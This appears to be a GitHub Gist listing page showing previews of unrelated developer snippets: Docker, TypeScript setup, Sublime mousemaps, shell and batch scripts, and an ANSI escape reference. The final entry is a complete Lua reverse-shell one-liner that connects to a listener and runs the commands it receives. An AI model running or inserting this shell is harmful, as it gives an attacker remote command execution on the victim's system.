Skip to content

Instantly share code, notes, and snippets.

@adtac
adtac / Dockerfile
Last active November 1, 2024 03:05
#!/usr/bin/env docker run
#!/usr/bin/env -S bash -c "docker run -p 8080:8080 -it --rm \$(docker build --progress plain -f \$0 . 2>&1 | tee /dev/stderr | grep -oP 'sha256:[0-9a-f]*')"
# syntax = docker/dockerfile:1.4.0
FROM node:20
WORKDIR /root
RUN npm install sqlite3
@khalidx
khalidx / node-typescript-esm.md
Last active November 14, 2024 08:26
A Node + TypeScript + ts-node + ESM experience that works.

The experience of using Node.JS with TypeScript, ts-node, and ESM is horrible.

There are countless guides of how to integrate them, but none of them seem to work.

Here's what worked for me.

Just add the following files and run npm run dev. You'll be good to go!

package.json

using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
// PUBLIC DOMAIN
//
// If you need to know exact license, it is the
// Creative Commons Zero
@UltraInstinct05
UltraInstinct05 / mousemap.md
Last active April 19, 2023 16:57
All you need to know about Sublime mousemap files.

In case of Sublime Text, the mouse actions are configured by what are known as mousemap files (that have a file extension of .sublime-mousemap). You can have generally 2 variants of these files :-

  • Default.sublime-mousemap: This will define mouse actions for any platform.
  • Default ($platform).sublime-mousemap: This will define mouse actions for a specific platform, where $platform is any one of Windows, Linux or OSX depending on your operating system.

You can view the default shipped mousemap files by using View Package File from the command palette and searching for mousemap.

In order to define your own mouse actions (or override any existing actions), you have to create a file by the name of Default.sublime-mousemap in the User directory (to get to this directory, select Preferences -> Browse Packages ... from the main menu) for platform independent override (or Default ($platform).sublime-mousemap for platform dependent overrides depending on your OS).

Once that's done, here i

@bgotink
bgotink / yarnw.sh
Last active March 30, 2022 18:41
Yarn wrapper script to use checked in yarn version without installing it globally
#!/usr/bin/env bash
#
# Wrapper script that executes the yarn version checked in in a project without
# requiring the global package to be available.
#
# This script uses nvm when a .nvmrc file is found next to it.
#
# Usage:
# - Place yarnw into the folder containing your .yarnrc / .yarnrc.yml file
# pointing to a local yarn version.
@shakna-israel
shakna-israel / Prose.md
Created October 23, 2019 23:32
Obfuscating Lua

Obfuscating Lua

I've had some fun ruining Python recently, but Python is what I use at work. I prefer to use other languages when I'm doing stuff for fun.

And obfuscation only really makes sense in fun and competition - given a suffeciently determined actor, your code will be reverse engineered. Unless you write it in Malboge.

For this particular experiment, I'll be using Lua 5.3. As I'll probably need to dive into some of the less portable functions to commit our atrocities, I can't guarantee it will run on other popular versions like Luajit or 5.1.


@ericnormand
ericnormand / 00_script.clj
Last active May 18, 2024 08:30
Boilerplate for running Clojure as a shebang script
#!/bin/sh
#_(
#_DEPS is same format as deps.edn. Multiline is okay.
DEPS='
{:deps {clj-time {:mvn/version "0.14.2"}}}
'
#_You can put other options here
OPTS='
@navono
navono / jsonParser.bat
Last active June 10, 2024 03:28
parse JSON file by windows batch
:: Read file "package.json" into variable string, removing line breaks.
set string=
for /f "delims=" %%x in (package.json) do set "string=!string!%%x"
rem Remove quotes
set string=%string:"=%
rem Remove braces
set "string=%string:~2,-2%"
rem Change colon+space by equal-sign
set "string=%string:: ==%"
@fnky
fnky / ANSI.md
Last active November 18, 2024 06:36
ANSI Escape Codes

ANSI Escape Sequences

Standard escape codes are prefixed with Escape:

  • Ctrl-Key: ^[
  • Octal: \033
  • Unicode: \u001b
  • Hexadecimal: \x1B
  • Decimal: 27
@cldrn
cldrn / lua-reverse-shell.lua
Created October 8, 2018 21:24
Reverse Shell For Windows and Linux in Lua
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'